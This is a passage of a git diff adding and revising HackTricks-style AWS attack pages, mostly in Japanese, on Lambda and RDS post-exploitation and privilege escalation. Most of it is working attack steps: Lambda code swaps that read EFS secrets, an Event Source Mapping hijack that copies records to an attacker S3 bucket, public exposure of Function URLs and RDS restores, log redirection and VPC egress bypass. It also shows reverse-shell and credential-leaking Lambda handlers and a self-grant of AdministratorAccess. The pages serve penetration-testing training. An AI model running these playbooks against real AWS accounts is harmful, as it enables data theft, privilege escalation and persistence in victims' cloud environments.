|
||||
```
|
||||
2) code を単純な reader に上書きして、ファイルを列挙し候補の secret/config ファイルの先頭200バイトを読み取る
|
||||
```
|
||||
cat > reader.py <<PY
|
||||
import os, json
|
||||
BASE=/mnt/ht
|
||||
|
||||
def lambda_handler(e, c):
|
||||
out={ls:[],peek:None}
|
||||
try:
|
||||
for root, dirs, files in os.walk(BASE):
|
||||
for f in files:
|
||||
p=os.path.join(root,f)
|
||||
out[ls].append(p)
|
||||
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
|
||||
if cand:
|
||||
with open(cand,rb) as fh:
|
||||
out[peek] = fh.read(200).decode(utf-8,ignore)
|
||||
except Exception as ex:
|
||||
out[err]=str(ex)
|
||||
return out
|
||||
PY
|
||||
zip reader.zip reader.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
|
||||
# If the original handler was different, set it to reader.lambda_handler
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
3) 呼び出してデータを取得する
|
||||
```
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
|
||||
cat /tmp/efs-out.json
|
||||
```
|
||||
出力には /mnt/ht 以下のディレクトリ一覧と、EFS にある選択した secret/config file の小さなプレビューを含める必要があります。
|
||||
|
||||
## 影響
|
||||
一覧された権限を持つ攻撃者は、任意の in-VPC EFS Access Points を被害者の Lambda 関数にマウントし、当該関数からはこれまでアクセスできなかった EFS 上の共有 configuration と secrets を読み取り、exfiltrate できます。
|
||||
|
||||
## クリーンアップ
|
||||
```
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
|
||||
```
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS - Event Source Mapping を乗っ取り、Stream/SQS/Kinesis を攻撃者の Lambda にリダイレクト
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
`UpdateEventSourceMapping` を悪用して、既存の Event Source Mapping (ESM) のターゲット Lambda 関数を変更し、DynamoDB Streams、Kinesis、または SQS のレコードを攻撃者が制御する関数に配信させます。これにより、プロデューサや元の関数コードに手を加えずにライブデータを密かに横取りできます。
|
||||
|
||||
## Impact
|
||||
- プロデューサアプリや被害者のコードを変更せずに、既存の streams/queues からライブレコードを迂回して読み取ることができる。
|
||||
- 被害者のトラフィックを不正な関数で処理することで、データの持ち出しやロジック改ざんが発生する可能性がある。
|
||||
|
||||
## Required permissions
|
||||
- `lambda:ListEventSourceMappings`
|
||||
- `lambda:GetEventSourceMapping`
|
||||
- `lambda:UpdateEventSourceMapping`
|
||||
- 攻撃者が制御する Lambda をデプロイまたは参照できること(`lambda:CreateFunction` または既存の関数を使用する権限)。
|
||||
|
||||
## Steps
|
||||
|
||||
1) 被害者の関数に対する Event Source Mapping を列挙する
|
||||
```
|
||||
TARGET_FN=<victim-function-name>
|
||||
aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
|
||||
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[0].UUID' --output text)
|
||||
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[0].EventSourceArn' --output text)
|
||||
```
|
||||
2) 攻撃者が制御する受信側の Lambda を準備する(同じリージョン;理想的には類似した VPC/runtime)
|
||||
```
|
||||
cat > exfil.py <<'PY'
|
||||
import json, boto3, os, time
|
||||
|
||||
def lambda_handler(event, context):
|
||||
print(json.dumps(event)[:3000])
|
||||
b = os.environ.get('EXFIL_S3')
|
||||
if b:
|
||||
k = f"evt-{int(time.time())}.json"
|
||||
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
|
||||
return {'ok': True}
|
||||
PY
|
||||
zip exfil.zip exfil.py
|
||||
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
|
||||
export ATTACKER_FN_ARN=$(aws lambda create-function \
|
||||
--function-name ht-esm-exfil \
|
||||
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
|
||||
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
|
||||
--query FunctionArn --output text)
|
||||
```
|
||||
3) マッピングを攻撃者の関数に向け直す
|
||||
```
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
|
||||
```
|
||||
4) マッピングが発火するように、ソースでイベントを生成する(例: SQS)
|
||||
```
|
||||
SOURCE_SQS_URL=<queue-url>
|
||||
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
|
||||
```
|
||||
5) 攻撃者関数がバッチを受け取ることを確認する
|
||||
```
|
||||
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
|
||||
```
|
||||
6) 任意の stealth
|
||||
```
|
||||
# Pause mapping while siphoning events
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
|
||||
|
||||
# Restore original target later
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
|
||||
```
|
||||
注記:
|
||||
- SQS ESMs に対して、キューを処理する Lambda の実行ロールには `sqs:ReceiveMessage`、`sqs:DeleteMessage`、および `sqs:GetQueueAttributes` が必要です(マネージドポリシー: `AWSLambdaSQSQueueExecutionRole`)。
|
||||
- ESM の UUID は同じままで、変更されるのはその `FunctionArn` のみです。したがって、プロデューサーとソース ARN は影響を受けません。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,46 @@
|
||||
# AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy)
|
||||
|
||||
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
|
||||
|
||||
## Abusing it
|
||||
|
||||
- Pre-reqs: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
- Region: us-east-1
|
||||
|
||||
### Steps
|
||||
1) Ensure the function has a Function URL (defaults to AWS_IAM):
|
||||
```
|
||||
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
2) Switch the URL to public (AuthType NONE):
|
||||
```
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
|
||||
```
|
||||
|
||||
3) Add a resource-based policy statement to allow unauthenticated principals:
|
||||
```
|
||||
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
|
||||
```
|
||||
|
||||
4) Retrieve the URL and invoke without credentials:
|
||||
```
|
||||
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
|
||||
curl -sS "$URL"
|
||||
```
|
||||
|
||||
### Impact
|
||||
- The Lambda function becomes anonymously accessible over the internet.
|
||||
|
||||
### Example output (unauthenticated 200)
|
||||
```
|
||||
HTTP 200
|
||||
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
|
||||
```
|
||||
### クリーンアップ
|
||||
```
|
||||
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
# AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
lambda:UpdateFunctionConfiguration を悪用して高度なログ制御により関数のログを攻撃者が選んだ CloudWatch Logs のロググループへリダイレクトします。これはコードや実行ロールを変更せずに動作します(ほとんどの Lambda ロールはすでに `logs:CreateLogGroup/CreateLogStream/PutLogEvents` を `AWSLambdaBasicExecutionRole` 経由で含んでいます)。関数がシークレットやリクエストボディを出力したり、スタックトレースでクラッシュする場合、新しいロググループからそれらを収集できます。
|
||||
|
||||
## 必要な権限
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:InvokeFunction` (または既存のトリガーに依存)
|
||||
- `logs:CreateLogGroup` (関数のロールがそれを持っている場合、多くは不要)
|
||||
- `logs:FilterLogEvents` (イベントを読むため)
|
||||
|
||||
## 手順
|
||||
1) sink ロググループを作成
|
||||
```
|
||||
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
|
||||
```
|
||||
2) ターゲット関数のログをリダイレクトする
|
||||
```
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <TARGET_FN> \
|
||||
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
|
||||
--region us-east-1
|
||||
```
|
||||
`LastUpdateStatus` が `Successful` になるまで待つ:
|
||||
```
|
||||
aws lambda get-function-configuration --function-name <TARGET_FN> \
|
||||
--query LastUpdateStatus --output text
|
||||
```
|
||||
3) シンクを呼び出して読み取る
|
||||
```
|
||||
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
|
||||
sleep 5
|
||||
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
|
||||
```
|
||||
## 影響
|
||||
- アプリケーション/システムのすべてのログを秘密裏に自分が管理するロググループへリダイレクトし、ログが `/aws/lambda/<fn>` のみに格納されるという想定を回避する。
|
||||
- Exfiltrate 関数が出力したデータやエラーで露出した機密情報を抜き出す。
|
||||
|
||||
## クリーンアップ
|
||||
```
|
||||
aws lambda update-function-configuration --function-name <TARGET_FN> \
|
||||
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
|
||||
--region us-east-1 || true
|
||||
```
|
||||
## 注意
|
||||
- ログ制御は Lambda の `LoggingConfig` (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel) の一部です。
|
||||
- デフォルトでは、Lambda はログを `/aws/lambda/<function>` に送信しますが、任意の LogGroup 名を指定できます。許可があれば Lambda(または実行ロール)がそれを作成します。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,12 @@
|
||||
# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
|
||||
|
||||
`lambda:PutRuntimeManagementConfig` を悪用して、関数を特定のランタイムバージョンに固定(Manual)するか、更新を停止(FunctionUpdate)します。これにより、悪意のあるレイヤー/ラッパーとの互換性を維持し、古い脆弱なランタイム上に関数を留めておくことでエクスプロイトや長期的な永続化を容易にできます。
|
||||
|
||||
要件: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
|
||||
|
||||
例(us-east-1):
|
||||
- 呼び出し: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
|
||||
- 更新を凍結: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- 確認: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
|
||||
必要に応じて、INIT_START ログから Runtime Version ARN を抽出し、`--update-runtime-on Manual --runtime-version-arn <arn>` を使用して特定のランタイムバージョンに固定できます。
|
||||
@@ -0,0 +1,63 @@
|
||||
# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
|
||||
|
||||
制限された VPC から Lambda function を強制的に外すには、空の VpcConfig (SubnetIds=[], SecurityGroupIds=[]) でその設定を更新します。関数は Lambda-managed ネットワーキングプレーンで実行され、アウトバウンドのインターネットアクセスを取り戻し、NAT のないプライベート VPC サブネットで強制されている egress コントロールをバイパスします。
|
||||
|
||||
## Abusing it
|
||||
|
||||
- Pre-reqs: lambda:UpdateFunctionConfiguration on the target function (and lambda:InvokeFunction to validate), plus permissions to update code/handler if changing them.
|
||||
- Assumptions: The function is currently configured with VpcConfig pointing to private subnets without NAT (so outbound internet is blocked).
|
||||
- Region: us-east-1
|
||||
|
||||
### Steps
|
||||
|
||||
0) Prepare a minimal handler that proves outbound HTTP works
|
||||
|
||||
cat > net.py <<'PY'
|
||||
import urllib.request, json
|
||||
|
||||
def lambda_handler(event, context):
|
||||
try:
|
||||
ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
|
||||
return {"egress": True, "ip": ip}
|
||||
except Exception as e:
|
||||
return {"egress": False, "err": str(e)}
|
||||
PY
|
||||
zip net.zip net.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
|
||||
|
||||
1) Record current VPC config (to restore later if needed)
|
||||
|
||||
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
|
||||
cat /tmp/orig-vpc.json
|
||||
|
||||
2) Detach the VPC by setting empty lists
|
||||
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
--vpc-config SubnetIds=[],SecurityGroupIds=[] \
|
||||
--region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
|
||||
3) Invoke and verify outbound access
|
||||
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
|
||||
cat /tmp/net-out.json
|
||||
|
||||
(Optional) Restore original VPC config
|
||||
|
||||
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
|
||||
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
|
||||
fi
|
||||
|
||||
### Impact
|
||||
- 関数からの制限のないアウトバウンドインターネットアクセスを再獲得します。これにより、NAT のないプライベートサブネットに意図的に隔離されていたワークロードからのデータ流出や C2 が可能になります。
|
||||
|
||||
### Example output (after detaching VpcConfig)
|
||||
|
||||
{"egress": true, "ip": "34.x.x.x"}
|
||||
|
||||
### Cleanup
|
||||
- 一時的に変更した code/handler がある場合は元に戻してください。
|
||||
- 必要に応じて上記のように /tmp/orig-vpc.json に保存した元の VpcConfig を復元してください。
|
||||
@@ -1,10 +1,10 @@
|
||||
# AWS - RDS ポストエクスプロイテーション
|
||||
# AWS - RDS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
詳細については、以下を確認してください:
|
||||
詳細は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
攻撃者が十分な権限を持っている場合、DBのスナップショットを作成し、そのスナップショットから公開アクセス可能なDBを作成することで、**DBを公開アクセス可能**にすることができます。
|
||||
攻撃者に十分な権限がある場合、DBのスナップショットを作成し、そのスナップショットから公開アクセス可能なDBを作成することで、**DBを公開アクセス可能にする**ことができます。
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
これらの権限を持つ攻撃者は、**DBのスナップショットを作成**し、それを**公開****可能**にすることができます。次に、彼はそのスナップショットから自分のアカウントにDBを作成することができます。
|
||||
これらの権限を持つ攻撃者は、**DBのスナップショットを作成する**ことができ、それを**パブリックに** **利用可能にする**。その後、そのスナップショットから自分のアカウントでDBを作成することができる。
|
||||
|
||||
攻撃者が**`rds:CreateDBSnapshot`**を持っていない場合でも、**他の**作成されたスナップショットを**公開**にすることができます。
|
||||
もし攻撃者が **`rds:CreateDBSnapshot` を持っていない場合**、それでも作成済みの **他の** スナップショットを **パブリック** にすることができる。
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,30 +53,114 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は **RDS インスタンスのログファイルの一部をダウンロード** できます。機密データやアクセス資格情報が誤ってログに記録されている場合、攻撃者はこの情報を利用して権限を昇格させたり、無許可の行動を行ったりする可能性があります。
|
||||
`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は、**RDSインスタンスのログファイルの一部をダウンロード**できます。機密データやアクセス資格情報が誤ってログに記録されている場合、攻撃者はこの情報を利用して権限を昇格させたり、不正な操作を実行したりする可能性があります。
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**潜在的な影響**: 漏洩した資格情報を使用して、機密情報へのアクセスや不正な操作が可能になります。
|
||||
**Potential Impact**: leaked credentials を使用して、機密情報へのアクセスや不正な操作が行われる可能性があります。
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
これらの権限を持つ攻撃者は、**既存のRDSインスタンスに対してDoS攻撃を行う**ことができます。
|
||||
これらの権限を持つ攻撃者は**既存のRDSインスタンスをDoSする**ことができます。
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**潜在的な影響**: 既存のRDSインスタンスの削除とデータの損失の可能性。
|
||||
**Potential impact**: 既存の RDS インスタンスの削除、およびデータ喪失の可能性。
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: テスト
|
||||
|
||||
この権限を持つ攻撃者は**RDSインスタンスのスナップショットをS3バケットにエクスポート**できます。攻撃者が宛先のS3バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
|
||||
この権限を持つ攻撃者は**RDS インスタンスのスナップショットを S3 バケットにエクスポートすることができます**。攻撃者が宛先の S3 バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**潜在的な影響**: エクスポートされたスナップショット内の機密データへのアクセス。
|
||||
**Potential impact**: エクスポートされたスナップショット内の機密データへのアクセス。
|
||||
|
||||
### ステルスな復元のためのクロスリージョン自動バックアップ複製 (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
クロスリージョン自動バックアップ複製を悪用して、RDSインスタンスの自動バックアップを別の AWS Region にこっそり複製し、そこで復元します。攻撃者は復元した DB を公開アクセス可能にし、マスターパスワードをリセットして、検知や監視が及ばない可能性のある Region でアウトオブバンドにデータにアクセスできます。
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (復元した DB を公開するため)
|
||||
|
||||
Impact: 本番データのコピーを別の Region に復元し、攻撃者管理の認証情報で公開することで、永続化およびデータ持ち出しが可能になります。
|
||||
|
||||
<details>
|
||||
<summary>エンドツーエンド CLI(プレースホルダを置き換えてください)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
--region <SOURCE_REGION> \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
|
||||
--output table
|
||||
|
||||
# 2) Start cross-Region automated backups replication (run in DEST region B)
|
||||
aws rds start-db-instance-automated-backups-replication \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
|
||||
--source-region <SOURCE_REGION> \
|
||||
--backup-retention-period 7
|
||||
|
||||
# 3) Wait for replication to be ready in DEST
|
||||
aws rds describe-db-instance-automated-backups \
|
||||
--region <DEST_REGION> \
|
||||
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
|
||||
--output table
|
||||
# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
|
||||
|
||||
# 4) Restore to latest restorable time in DEST
|
||||
aws rds restore-db-instance-to-point-in-time \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
|
||||
--target-db-instance-identifier <TARGET_DB_ID> \
|
||||
--use-latest-restorable-time \
|
||||
--db-instance-class db.t3.micro
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 5) Make public and reset credentials in DEST
|
||||
# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
|
||||
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
|
||||
--group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
|
||||
--query GroupId --output text)
|
||||
aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
|
||||
--group-id "$OPEN_SG_ID" \
|
||||
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
|
||||
|
||||
# 5b) Publicly expose restored DB and attach the SG
|
||||
aws rds modify-db-instance --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids "$OPEN_SG_ID" \
|
||||
--apply-immediately
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 5c) Reset the master password
|
||||
aws rds modify-db-instance --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--master-user-password '<NEW_STRONG_PASSWORD>' \
|
||||
--apply-immediately
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
|
||||
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--query 'DBInstances[0].Endpoint.Address' --output text)
|
||||
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'
|
||||
|
||||
# 7) Optional: stop replication
|
||||
aws rds stop-db-instance-automated-backups-replication \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## lambda
|
||||
|
||||
lambdaに関する詳細情報は以下を参照してください:
|
||||
More info about lambda in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lambda-enum.md
|
||||
@@ -12,11 +12,11 @@ lambdaに関する詳細情報は以下を参照してください:
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
||||
**`iam:PassRole`, `lambda:CreateFunction`, および `lambda:InvokeFunction`** 権限を持つユーザーは、特権を昇格させることができます。\
|
||||
彼らは**新しいLambda関数を作成し、既存のIAMロールを割り当てることができ**、そのロールに関連付けられた権限を関数に付与します。ユーザーはその後、**このLambda関数にコードを書いてアップロードすることができます(例えば、rev shellを使用して)**。\
|
||||
関数が設定されると、ユーザーは**その実行をトリガーし**、AWS APIを通じてLambda関数を呼び出すことで意図したアクションを実行できます。このアプローチにより、ユーザーはLambda関数を介して間接的にタスクを実行し、それに関連付けられたIAMロールによって付与されたアクセスレベルで操作することができます。\\
|
||||
**`iam:PassRole`, `lambda:CreateFunction`, `lambda:InvokeFunction`** の権限を持つユーザーは権限を昇格できます。\
|
||||
彼らは**新しい Lambda 関数を作成して既存の IAM ロールを割り当てる**ことができ、そのロールに紐づく権限が関数に付与されます。ユーザーはその後**この Lambda 関数にコードを書き込みアップロードする(例えば rev shell)**ことができます。\
|
||||
関数がセットアップされると、ユーザーは **実行をトリガー** して AWS API を通じて Lambda 関数を呼び出すことで意図した処理を実行できます。この方法により、ユーザーは関連する IAM ロールに付与されたアクセスレベルで間接的に操作を行えます。\\
|
||||
|
||||
攻撃者はこれを悪用して**rev shellを取得し、トークンを盗む**ことができます:
|
||||
攻撃者はこれを悪用して **rev shell と token を盗む** ことができます:
|
||||
```python:rev.py
|
||||
import socket,subprocess,os,time
|
||||
def lambda_handler(event, context):
|
||||
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
|
||||
# List roles
|
||||
aws iam list-attached-user-policies --user-name <user-name>
|
||||
```
|
||||
あなたはまた、**lambda関数自体のlambdaロールの権限を悪用する**ことができます。\
|
||||
もしlambdaロールに十分な権限があれば、それを使用してあなたに管理者権限を付与することができます:
|
||||
また、lambda 関数自体から **lambda ロールの権限を悪用する** こともできます。\
|
||||
lambda ロールに十分な権限があれば、それを使って自分に管理者権限を付与できます:
|
||||
```python
|
||||
import boto3
|
||||
def lambda_handler(event, context):
|
||||
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
```
|
||||
lambdaのロール資格情報を外部接続なしで漏洩させることも可能です。これは、内部タスクで使用される**ネットワーク隔離されたLambda**にとって便利です。逆シェルをフィルタリングしている未知のセキュリティグループがある場合、このコードはlambdaの出力として資格情報を直接漏洩させることを可能にします。
|
||||
外部接続を必要とせずに lambda の role credentials を leak することも可能です。これは内部タスクで使用される **Network isolated Lambdas** に有用です。未知の security groups があなたの reverse shells をフィルタしている場合、このコードは lambda の出力として credentials を直接 leak することを可能にします。
|
||||
```python
|
||||
def handler(event, context):
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
@@ -72,34 +72,34 @@ return {
|
||||
aws lambda invoke --function-name <lambda_name> output.txt
|
||||
cat output.txt
|
||||
```
|
||||
**潜在的な影響:** 指定された任意のlambdaサービスロールへの直接的な権限昇格。
|
||||
**潜在的な影響:** 指定された任意の lambda サービスロールに対する直接的な privesc。
|
||||
|
||||
> [!CAUTION]
|
||||
> 興味深く見えるかもしれませんが、**`lambda:InvokeAsync`** は単独では **`aws lambda invoke-async`** を実行することを許可しません。`lambda:InvokeFunction` も必要です。
|
||||
> 興味深く見えるかもしれませんが、**`lambda:InvokeAsync`** 単体では **`aws lambda invoke-async` を実行** することは**できません**。**`lambda:InvokeFunction`** も必要です。
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
|
||||
|
||||
前のシナリオと同様に、**`lambda:AddPermission`** の権限があれば、自分に **`lambda:InvokeFunction`** の権限を付与することができます。
|
||||
前のシナリオと同様に、**自分に `lambda:InvokeFunction` を付与する** ことができます(**`lambda:AddPermission`** の権限がある場合)。
|
||||
```bash
|
||||
# Check the previous exploit and use the following line to grant you the invoke permissions
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
|
||||
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
|
||||
```
|
||||
**潜在的影響:** 指定された任意のlambdaサービスロールへの直接的な権限昇格。
|
||||
**Potential Impact:** 指定された任意の Lambda service role への直接 privesc。
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
|
||||
|
||||
**`iam:PassRole`, `lambda:CreateFunction`, および `lambda:CreateEventSourceMapping`** 権限を持つユーザー(おそらく `dynamodb:PutItem` および `dynamodb:CreateTable` も含む)は、`lambda:InvokeFunction` なしでも間接的に **権限を昇格** させることができます。\
|
||||
彼らは **悪意のあるコードを持つLambda関数を作成し、既存のIAMロールを割り当てる** ことができます。
|
||||
